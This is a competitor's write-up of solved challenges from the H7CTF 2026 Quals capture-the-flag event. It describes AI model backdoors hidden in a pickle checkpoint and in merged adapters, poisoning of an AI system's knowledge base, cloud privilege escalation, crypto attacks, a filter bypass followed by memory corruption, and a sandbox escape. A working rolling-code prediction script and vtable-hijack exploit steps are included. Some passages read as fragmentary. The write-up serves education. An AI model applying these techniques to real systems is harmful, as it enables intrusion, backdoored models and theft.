ECHO · Write ups · H7CTF 2026 Quals

H7CTF 2026 Quals: The Complete Write Up

H7CTF 2026 Quals ran 26 to 27 September, a roughly thirty six hour jeopardy style event across twelve categories, hosted by H7Tex ahead of their onsite Finals in Chennai this October. ECHOClub entered as a solo competitor and finished with 30 of 69 challenges completed for 5,466 points, 103rd of 727 teams. This page documents the eighteen solves that were tracked and written up in full during the event, with the technique and the method for each. A further twelve solves landed on the scoreboard after tracking stopped for the night; their write ups are still pending and will be added when they are ready, rather than filled in from memory.

Provenance

Competed 26 to 27 September 2026 at H7CTF 2026 Quals (the third edition, by H7Tex and SRMIST Chennai), open to all teams online. One competitor, roughly thirty six hours, twelve categories. This page is the club’s public setting of the eighteen documented solves.

Disclaimer. This report documents challenge solutions completed on the H7CTF competition platform for educational purposes. All work was performed inside a controlled CTF environment against systems the competition provided for that purpose. ECHOClub is not responsible for the organisation or administration of the H7CTF platform.

On the flags. The competition is over and the scoreboard is frozen, but the flag strings themselves stay out of this public page, same as every write up this club publishes. What is published is the technique, which is the part that actually teaches something.

Section 1

Competition Results

30 of 69 completed · 5,466 points · 103rd of 727 · solo

Hardware carried the documented run, five solves across a garage remote rolling code, an OOK radio burst, a smart speaker with a three layer chain, a departure board hiding ciphertext in its own decoy banner, and a split secret recovered off two buses at once. Crypto and forensics each contributed three, and the single pwn solve, a coroutine use after free, was worth more on its own than any other category’s total. The table below covers only the eighteen documented solves; the full 30 of 69 includes twelve more across categories not detailed here yet.

CategoryDocumented solvesPoints
Hardware51,281 pts
Crypto31,083 pts
Forensics3202 pts
AI3163 pts
Pwn1884 pts
Misc288 pts
Cloud176 pts
Documented total183,777 pts

Section 2

AI

3 solves · 163 points

AI · 25 pts

Model Package Autopsy

The package looked like an ordinary fine tuned sentiment model, complete with a README that told you exactly how to load it. That instruction was the trap: loading a PyTorch checkpoint with the unsafe flag that allows arbitrary unpickling runs whatever the checkpoint’s pickle tells it to run, and a PyTorch checkpoint file is itself a zip holding a pickle.

The move that mattered was refusing to take the bait. Rather than loading the model the way the README suggested, the pickle was disassembled into its opcodes and read as data, never executed. Most of it was an ordinary state dictionary of tensors, but one extra entry carried a call to the interpreter’s built in evaluator applied to a compressed, encoded string. Pulling that string out with a plain text search and decoding it without ever calling the evaluator revealed a hook meant to run once the model loaded for real, and the token it set as an identifying value was the flag.

Takeaway

A model file is executable content wearing a data file’s extension. Disassemble a pickle instead of unpickling it when the source is not trusted, and you can read exactly what it would have done without ever letting it do it.

FlagH7CTF{...}

AI · 75 pts

Adapter Cartel

A single adapter on a shared model hub passed review cleanly, and so did every one of the eight adapters in this hub, checked one at a time. The scanner still flagged the collection as a whole without saying why, which was the entire puzzle: no individual member looked guilty.

A low rank adapter does not store new weights, only two small matrices whose product gets added to a base weight when the adapter is merged. Stack several adapters and their contributions add. Reading the configs showed four of the eight adapters targeted an unusual extra weight in the base model that the other four never touched. Each of those four updates on its own was a full matrix of noisy looking values that would pass any single review. Summed together, the negative components cancelled and every remaining value landed on a small whole number, and reading that merged matrix as bytes spelled the flag. The payload existed only in the sum, never in any one contributor.

Takeaway

A composable system can hide a backdoor that no single component review will ever catch, because the review unit and the trust unit are not the same thing. Anything that gets merged, chained, or aggregated deserves review after the combination, not only before it.

FlagH7CTF{...}

AI · 63 pts

Echo Chamber

An incident triage platform held one open incident with a fixed working theory, and it would only escalate to a fuller report once independently convinced by real supporting evidence. A baseline check against the seed knowledge base found nothing that directly confirmed the theory, only material that touched on adjacent topics.

The platform let anyone submit a new source document for its own knowledge base, and its ingestion pipeline was the actual weakness. Every submission got run through three separate extractors, each producing its own derived record, and the platform’s own corroboration check counted those three derived records as three independent supporting sources because nothing tracked that they all came from one original submission. A single confidently worded document that flatly restated the working theory as an already confirmed fact was enough: the pipeline’s own fan out manufactured exactly the number of independent sources the check required, and the platform escalated on evidence that was really one voice repeated three times through its own process. The deeper report generated once convinced carried an environment file that leaked the flag, since that file only ever attached once the platform reached full confidence.

Takeaway

A system that treats derived records as independent evidence, without tracking their common origin, can be talked into corroborating itself. Convincing an evaluator and convincing reality are not the same act.

FlagH7CTF{...}

Section 3

Cloud

1 solve · 76 points · four flags in one chain

Cloud · 76 pts

Deputy

A low privilege analyst key into a partner cloud account was the starting point, and the prompt’s own advice, read your own policy before doing anything else, turned out to be the whole method for the first flag. The analyst could read its own permissions freely, and those permissions granted narrow storage access plus the ability to pass one specific role to a new serverless function and invoke it.

That combination is a well known escalation path. The analyst could not assume the privileged role directly, since its trust policy only allowed the serverless service itself to assume it, but creating a function that runs as that role and then invoking it hands back that role’s own live credentials. Acting as that more privileged role opened a cross account trust relationship into a partner account’s administrative role, and that assumption succeeded with no additional secret required at all, because the partner account trusted anything holding the right permission on the caller’s side without checking who was really behind it.

The final and sharpest lesson sat inside that administrative role’s own storage: a configuration file naming a second, supposedly hardened role and the shared secret needed to assume it, stored right next to the door it was meant to protect and readable by the very role that secret was guarding against. Assuming that hardened role with its own leaked secret reached the last vault.

Takeaway

Every individual control in this chain was a real, correctly implemented cloud permission check. None of them failed on its own. What failed was the assumption that a secret is safe once it sits one door further in, when the account granting that door already had read access to it.

FlagFour flags, one per stage of the chain, all H7CTF{...}

Section 4

Crypto

3 solves · 1,083 points

Crypto · 63 pts

Owner’s Draw

A payment webhook signed its requests with a hash of a secret concatenated with the request body, labelled plainly as such by the service itself. That specific construction, a bare hash over a secret followed by an attacker visible message rather than a proper keyed hash, carries a well known weakness: the hash’s output is exactly the algorithm’s internal state after processing that input, so anyone holding a valid message and its digest can resume the computation and extend the message with anything they like, computing a valid digest for the extended message without ever learning the secret.

The service handed over one genuine example pair to work from, leaving only the secret’s length unknown, and that length was small enough to guess by brute force, since each wrong guess just produced a signature the server would reject. Once the correct length was found, extending the genuine request with an additional field asserting a higher privilege level produced a signature the server accepted, and the server’s own habit of taking the last occurrence of a repeated field name let the appended field silently overrule the original one.

Takeaway

A bare hash of secret and message looks like a signature and is not one; it inherits the underlying hash construction’s extension property. Only a proper keyed construction, built for exactly this purpose, resists it.

FlagH7CTF{...}

Crypto · 138 pts

Vouchsafe

A passwordless authentication service trusted two different classes of hardware key. Keys from a short, pinned list of known vendors went through full certificate chain verification, which nobody outside those vendors can forge. A second, legacy path existed for old corporate hardware never entered into that vendor list, and it accepted a self signed certificate with no chain check at all, provided the certificate looked like a plausible hardware attestation rather than an empty shell.

Enrolling through that legacy path granted only a lower access tier by default. The tier itself was decided by a custom field inside the certificate, structured as a sequence containing a version number, a count of a certain kind of embedded identifier, a list of those identifiers, and an optional elevated flag read at a numbered position that a changelog note said was no longer fixed but computed relative to the identifier count. Since the whole certificate is self signed and self built, the count field can say anything at all regardless of how many identifiers actually follow it. Probing a small range of positions with the flag set found exactly one position where the elevated flag was honoured, and that position matched the changelog’s stated rule precisely: it shifts by exactly the value written in the count field. Writing a count of one and placing the flag at the position that rule predicted enrolled a certificate at the top tier, and a normal signed authentication with that credential opened the protected console.

Takeaway

A field trusted to compute where another field lives, inside data the caller built themselves, hands the caller control over both ends of that computation. A relative offset is only safe when at least one side of the relation is outside the attacker’s control.

FlagH7CTF{...}

Crypto · 882 pts

The Ledger Never Sleeps

A signer would sign anything except the one transaction that mattered, and the service documented its own weakness plainly: each signature’s random value came from a deterministic chain rather than a fresh source, following an efficiency change that was never properly audited. A deterministic chain of secret values, each one a fixed function of the last, is a classic opening for full key recovery once enough consecutive outputs are visible, but only if the exact function connecting them can be pinned down.

Several natural guesses at that function were tried and ruled out quickly, including a fixed step, a fixed ratio, and each value depending only on public parts of the previous signature. The one that fit was a general linear relation with two unknown constants tying each secret value to the next. Each signature also gives an equation relating its own secret value to the unknown private key through publicly known numbers, so substituting one relation into the other produces, after treating one product of two unknowns as a fourth unknown to keep everything linear, one straightforward equation in four unknowns for every consecutive pair of signatures. A handful of consecutive signatures gave enough equations to solve the whole system exactly, no guessing or heavy search required, and checking the recovered private key against the published public key confirmed the solve before it was used. With the key in hand, signing the previously refused transaction and submitting it was immediate.

Takeaway

A deterministic sequence of secret values is only as safe as the difficulty of learning the rule connecting them, and a general linear relation is often solvable exactly with plain algebra once it is correctly identified, no brute force needed.

FlagH7CTF{...}

Section 5

Forensics

3 solves · 202 points

Forensics · 63 pts

Gone Not Forgotten

A messaging app insisted a suspect’s device held nothing incriminating, and the message table on the phone backed that up, showing a small run of ordinary numbered rows with one number conspicuously missing from the sequence. A missing row number in a database table with no larger context does not by itself mean a message is truly gone.

A database of this kind, when it deletes a row, does not typically erase the underlying bytes; it only removes the row’s reference and marks that space free for reuse. Until something else happens to reuse that space, the deleted row’s raw content still sits inside the file. The app also obfuscated every stored message body with a fixed, simple keyed transform, described plainly in an accompanying configuration note. Scanning the raw database file directly for runs of data in the stored encoding, rather than trusting the table’s own view of its rows, and reversing that same transform on every candidate run recovered several message bodies including the one that had been deleted, which decoded cleanly to the flag while the surviving decoy candidates decoded to garbage.

Takeaway

A record removed from an index is not the same as a record removed from storage, and any format that reuses freed space lazily rather than immediately will keep evidence around for exactly as long as nothing has overwritten it.

FlagH7CTF{...}

Forensics · 63 pts

Ghost in the Timeline

An engineer’s alibi rested on three claims about a disputed file: that it existed before their access began, that every timestamp on it agreed, and that nothing had been staged or deleted. Filesystem metadata usually carries more than one kind of timestamp, and not every kind is equally easy to fake.

The file’s modification time did indeed sit safely in the past, matching the alibi. Its creation time, a separate field some filesystems keep that ordinary timestamp editing tools do not normally touch, told a very different and much more recent story, directly contradicting the alibi and lining up with when a neighbouring, honestly dated file was created. The third claim broke on closer inspection of the filesystem’s own record of deleted files, which still listed a zip archive under a caching folder even though the visible directory only showed a dangling reference to it, and a login log corroborated exactly when it had been created and by whom. Recovering that deleted archive’s content directly from the filesystem’s low level tools produced a small file inside it holding the flag.

Takeaway

Trust the timestamp an attacker cannot easily reach over the ones they can. Ordinary tools that backdate a file rewrite the timestamps meant for humans to read, but rarely touch the one meant to record true creation.

FlagH7CTF{...}

Forensics · 76 pts

Deep Freeze

Responders reached a ransomware infected workstation while the malware was still actively encrypting files, and rather than letting the machine power down cleanly they captured its memory on the spot, mid attack. The prompt’s own framing said as much: catching a thief mid reach means they are still holding what they took.

That framing turned out to be the entire solve. Rather than reconstructing the ransomware’s key from a partial encrypted file, a plain search for the flag’s known text pattern across the raw memory capture found it sitting in the clear twice over: once as an environment variable the running ransomware process had been launched with, and once inside the still resident plaintext of the very document it had been in the middle of encrypting when the machine was frozen. A convincing decoy value existed too, matching a script’s own hardcoded fallback default rather than anything actually assigned for this run.

Takeaway

Memory captured while a process is still running holds far more in the clear than anyone analysing only its disk footprint would expect, and a search over raw memory is always worth trying before reaching for a heavier reconstruction.

FlagH7CTF{...}

Section 6

Hardware

5 solves · 1,281 points

Hardware · 181 pts

Afterglow

A salvaged departure board’s flash image booted into a small program that painted the same fixed demo banner on every unit and waited at a keypad for a numeric service code that was never shown on screen anywhere. The real per unit information had to be read off the panel by entering the correct code first.

Disassembling the boot image as sixteen bit real mode code showed the keypad routine comparing whatever was typed against a value computed at boot from a short, per instance value baked directly into the image, run through two rounds of a simple integer mixing function. Because that mixing function and the seed value were both fully readable from the image file itself, the correct code could be computed entirely offline with no need to interact with the running board first. Typing that computed code caused the board to decrypt its own stored demo banner data using a keystream derived from that same service code, revealing that the shared decoy image had secretly been doubling as ciphertext the entire time.

Takeaway

Notice when supposedly meaningless shared data is unusually large or oddly placed for what it claims to be. A banner that looks identical across every unit is a natural place to also hide unit specific ciphertext.

FlagH7CTF{...}

Hardware · 63 pts

Radio Silence

A single unlabelled radio burst, captured once and never repeated, needed to be read back with no protocol documentation at all. The raw capture’s amplitude stayed almost perfectly constant across its active portion, which ruled out any scheme that encodes information in signal strength and pointed toward frequency or phase instead.

Measuring the instantaneous frequency across the burst showed it sitting almost entirely at two distinct values, each held for a short, consistent duration before switching, the textbook shape of a two level frequency shift keyed signal at a fixed symbol rate. An initial pass smoothed the frequency estimate too aggressively and appeared to show a third, intermediate frequency that turned out to be nothing more than an averaging artifact from blending two adjacent symbols together; sampling each symbol’s own short window individually resolved cleanly into only the two real levels. Mapping the lower frequency to one bit value and the higher to the other produced a clean bit stream opening with a long alternating preamble, followed directly by the flag in plain text.

Takeaway

A constant envelope signal is telling you where not to look. When amplitude carries nothing, check frequency and phase before assuming a more complex scheme, and always sample each symbol on its own terms rather than averaging across symbol boundaries.

FlagH7CTF{...}

Hardware · 896 pts

Dog Whistle

A voice controlled smart speaker took engineering commands over an encoded audio protocol, guarded by a safety check that scanned the audible band of anything it heard for the signature of those engineering commands and refused to act on them. Getting an engineering command past that guard without the guard ever seeing it was the first of three layers this challenge stacked on top of each other.

The device’s own analog front end supplied the way through. Real transducers are not perfectly linear, and this one’s modelled nonlinearity meant that two ultrasonic tones, placed just outside the range the safety check inspected, would mix together after passing through that stage and produce a new tone at their difference frequency, landing exactly inside the audible command band the decoder actually listened to. Since the raw, unprocessed capture the safety check inspected carried only ultrasonic energy, the check saw nothing to object to, while the same audio decoded into a fully valid engineering command once it reached the stage that came after the check.

That command leaked two live memory addresses back in its response, printed as though they were harmless calibration data. One of those addresses pointed at a function meant only for an internal auditor’s use, never normally reachable. A second, unrelated command accepted a calibration data length with no bound at all, letting a following write land past its intended buffer and directly overwrite a neighbouring function pointer with the leaked address. A routine check the device ran after every command call then invoked exactly that overwritten pointer, running the internal auditor’s function and printing the flag.

Takeaway

A safety check that inspects one representation of the input, while a later stage of processing derives a different representation from it, only ever protects the representation it actually looked at. Everything downstream of an inspection point needs its own defence.

FlagH7CTF{...}

Hardware · 63 pts

Ghost on the Bus

A logic capture recorded eight channels of a small board’s boot sequence, and somewhere inside it the board handed over a provisioning key. The prompt’s own hint was precise: the key was never present in one place, and had to be assembled from more than one bus.

The capture’s own console output on one channel narrated the scheme directly, describing the key as one half read from a serial flash chip and the other half read from a small serial memory chip over a different bus, combined by a simple bitwise combination of the two halves. Decoding each protocol’s electrical signalling in turn recovered the exact bytes each device sent during that portion of the boot sequence. Isolating the data bytes that followed each device’s read command on its own bus, then combining the two halves exactly as the console output described, produced the flag directly.

Takeaway

A system whose security relies on splitting a secret across independent channels only holds if an observer is limited to one channel at a time. Splitting information across channels is not the same thing as encrypting it.

FlagH7CTF{...}

Hardware · 78 pts

Open Sesame

A cheap garage remote advertised a brand new, unguessable code on every button press, and eight consecutive presses were captured to test that claim. The prompt’s own distinction, that unguessable and unpredictable are different properties. There was a pattern that was revealed.

The capture’s amplitude pattern was cleanly two level with a fixed total period per bit, the signature of a simple duty cycle encoded scheme rather than anything more elaborate. Splitting the capture into its eight separate transmissions and comparing them bit by bit showed most of each frame was an identical fixed device identifier, followed by a short field that simply counted upward by the same fixed step on every single press, followed by one last short field that cycled through only a handful of distinct values in a short repeating pattern tied to the press count. Neither the counter nor the short trailing field required any cryptographic reasoning at all; both were fully determined by simple arithmetic once enough presses were compared. It was a pattern progressive code, so once we analyzed three of the generated codes we identified the pattern.

Commands

curl -O https://web-2ac9db2ac38e8adf.web.h7tex.com/capture.cf32

predicted_code=$(python3 - <<'PY'
import numpy as np

fs = 1_000_000
raw = np.fromfile("capture.cf32", dtype=np.float32)
iq = raw[0::2] + 1j * raw[1::2]
on = np.abs(iq) > 0.5                                   # clean OOK, bimodal histogram

# run-length encode the on/off pulses
edges = np.where(np.diff(on.astype(int)) != 0)[0] + 1
runs, prev, state = [], 0, bool(on[0])
for e in edges:
    runs.append((state, int(e - prev))); prev, state = e, not state
runs.append((state, int(len(on) - prev)))

# long "off" gaps separate the 8 individual transmissions
gaps = [i for i, (s, l) in enumerate(runs) if not s and l > 2000]
frames = [runs[a + 1:b] for a, b in zip(gaps[:-1], gaps[1:])]

def decode(fr):
    bits = []
    for j in range(0, len(fr) - 1, 2):
        (_, hi), (_, lo) = fr[j], fr[j + 1]
        bits.append('1' if (hi, lo) == (600, 400) else '0' if (hi, lo) == (300, 700) else '?')
    return ''.join(bits)

bitstrings = [decode(f) for f in frames]            # 8 x 48 bit strings

# diff the 8 bitstrings bit by bit to find field boundaries: a fixed prefix,
# a linearly incrementing counter field, a constant field, and a small
# cyclic lookup field. [recovered fragment: real bit ranges and values omitted]
prefix   = bitstrings[0][0:31]
counters = [int(b[31:40], 2) for b in bitstrings]
const4   = bitstrings[0][40:44]
tails    = [int(b[44:48], 2) for b in bitstrings]

step         = counters[1] - counters[0]            # constant step, confirmed across all 8
table        = {i % 3: t for i, t in enumerate(tails[1:], start=1)}  # [recovered lookup]
next_counter = counters[-1] + step
next_tail    = table[8 % 3]

full = prefix + format(next_counter, '09b') + const4 + format(next_tail, '04b')
predicted_code = format(int(full, 2), '012x')       # [recovered fragment: predicted frame]
print(predicted_code)
PY
)

curl -s https://web-2ac9db2ac38e8adf.web.h7tex.com/unlock \
  -H "Content-Type: application/json" -d "{\"code\":\"$predicted_code\"}"  # flag, redacted

FlagH7CTF{...}

Section 7

Pwn

1 solve · 884 points

Pwn · 884 pts

Frame of Reference

One such object was freed immediately after starting a coroutine that still held a live reference into it. Because the pool reused freed space in strict order, allocating a different, unrelated object next guaranteed it landed at that same freed address. When the coroutine resumed, it read the unrelated object’s bytes as the original key material, and a stray pointer from that object leaked out through an ordinary looking numeric result the service printed. A fixed offset in the program’s own binary connected that leaked pointer straight to a privileged function’s address.

A second round of the same setup made a value the service would normally just compute come out equal to that target address, overwriting a second object’s internal pointer with it. Calling that object’s ordinary functionality then jumped straight into the privileged function, which printed the flag.

Commands

# recover the vtable symbol offsets from the shipped binary (WSL)
nm -C attest | grep -iE 'vtable|Notary|EscrowAudit'
#   ... vtable for Notary
#   ... vtable for EscrowAudit      (fixed delta between the two symbols, ASLR independent)
#       object vptr = symbol + 0x10  (skips the offset-to-top + RTTI words)

# round 1, leak: alias the freed cell as a Notary signer, then read the vtable ptr back out
#   prepare(e=3, p=3, q=65537), add Notary signer (reuses freed cell), submit
#   modulus = vtable_ptr * 65537; divide out 65537 to recover the live (PIE) Notary vptr
#   target = leaked_vptr + delta, EscrowAudit's vptr, same fixed delta as above

# round 2, hijack: force the RSA style d = e^-1 mod lam to equal target exactly
#   Q = nextprime(target); q2 = Q + 1        # makes lam2 odd and greater than target
#   lam2 = lcm(p-1, q2-1) = (p-1)*Q          # coprime factors
#   e2 = pow(target, -1, lam2)               # so d = e2^-1 mod lam2 == target
#   prepare(e=e2, p=3, q=q2), add second Notary signer, submit
#   result: signer2's vtable pointer is overwritten with target (EscrowAudit's vptr)

# trigger: dispatch through the hijacked vtable
py -3 exploit.py
#   [+] modulus=...  Notary vptr=[recovered fragment]  EscrowAudit vptr(target)=[recovered fragment]
#   [+] Q=...  q2=...  lam2 bits=...  gcd(target,lam2)=1
#   [+] round2 modulus=... (p check matches leaked vptr)
#   [+] sign result: audit <hex>   # flag bytes XORed with the empty message (unchanged); printed below
#   *** FLAG: [redacted]

FlagH7CTF{...}

Section 8

Misc

2 solves · 88 points

Misc · 25 pts

Out of the Box

An expression evaluator ran each submitted line through a keyword denylist and then evaluated it with every built in function and object stripped out, the standard shape of a sandboxed evaluator. An empty set of built ins blocks the obvious tools, but it does not block an object’s own structural attributes, and those attributes alone are usually enough to walk the entire running program’s class hierarchy back up to a low level class capable of opening a file directly.

Two obstacles stood between that idea and a working payload. The denylist matched banned words anywhere inside the submitted text rather than as whole words, which meant several common short substrings were effectively unusable and had to be avoided or split apart in the literal text without changing what the expression actually did once evaluated. Separately, the very base of the class hierarchy is itself a special case whose own class level method cannot be called the normal way without an object to call it on, and a naive walk down the whole hierarchy crashed the instant it reached that special case; skipping it by name before recursing further fixed the crash. With both handled, one expression walking down a few levels of the hierarchy, locating the class meant for reading files directly, and instantiating it against the flag’s path read the flag straight back as the expression’s own printed result.

Takeaway

An empty built ins list closes one door, not the whole house. Every object in the running program still remembers its own place in the class hierarchy, and that alone is often enough to reach something powerful.

FlagH7CTF{...}

Misc · 63 pts

Overexposed

A single blacked out image, released publicly, came with an assurance that nothing sensitive remained in it. The image itself, once opened, was exactly what it claimed to be, a plain rendered card with no hidden signal in its pixels at all, the pixels were never where anything was hidden.

The image’s own container format carries more than pixel data. A compressed text chunk sitting alongside the image data, the kind an ordinary image library will decode automatically without being asked, held one plain fragment outright. Beyond the end of the image data proper, a complete separate archive had been appended after the point where an image reader stops looking, exploiting the fact that an image reader and an archive reader look for the end of their own format in opposite directions from opposite ends of the file, so both formats can coexist in one file without conflicting. That appended archive’s own visible directory listed only one small file, an archive’s directory of contents and the archive’s actual stored members are not the same thing, and a directory can simply fail to list something that is genuinely present. Decompressing each by hand and joining all three recovered fragments in the order their own names implied produced the complete flag.

Commands

from PIL import Image
im = Image.open('overexposed.png')
print(im.info)   # zTXt chunk decodes straight into Image.info: {'part1': '[recovered fragment]', ...}

# unzip's own directory lists only one member. Don't trust the central
# directory. Walk the file for raw local-file-header signatures instead:
import struct, zlib
data = open('overexposed.png', 'rb').read()
pos = 0
while True:
    idx = data.find(b'PK\x03\x04', pos)
    if idx == -1:
        break
    (sig, ver, flags, method, mtime, mdate, crc32,
     csize, usize, fnlen, exlen) = struct.unpack('<IHHHHHIIIHH', data[idx:idx+30])
    fname = data[idx+30:idx+30+fnlen]
    dstart = idx + 30 + fnlen + exlen
    cdata = data[dstart:dstart+csize]
    raw = zlib.decompress(cdata, -15) if method == 8 else cdata   # raw deflate, no zlib header
    print(fname, raw)
    pos = dstart + csize
# finds entries with no central-directory record at all:
#    readme.txt (the hint), plus part2.txt and part3.txt, giving [recovered fragments]

# join part1 + part2 + part3, in that name order, to get the flag body

FlagH7CTF{...}

Section 9

Key Lessons

What carried across categories

The review unit and the trust unit are often not the same thing

Adapter Cartel and Deputy both broke a system that reviewed its parts correctly in isolation. A backdoor split across several low rank adapters, or a secret trusted one door further in than it should have been, only shows up once you review the combination, not the pieces.

A guard only protects the representation it actually inspects

Dog Whistle’s safety check scanned the audible band while an analog nonlinearity smuggled a command in through ultrasonic tones that mixed down after the check ran. Anything downstream of an inspection point needs its own defence.

Deleted rarely means erased

Gone Not Forgotten and Ghost in the Timeline both turned on the same fact from two different angles: a database that reuses freed space lazily, and a filesystem whose deletion bookkeeping outlives the directory entry, both keep evidence around long after a human would call it gone.

A container format’s index is a convenience, not the whole truth

Overexposed’s flag sat across a PNG text chunk and two ZIP local headers that no directory ever listed. A summary index tells you what its author wanted you to see, not everything that is actually there.

H7CTF 2026 Quals ECHOClub competition write up report

30 of 69 completed · 5,466 points · 103rd of 727 teams · solo · educational use only. Competed. Solved. Learned. Stay curious.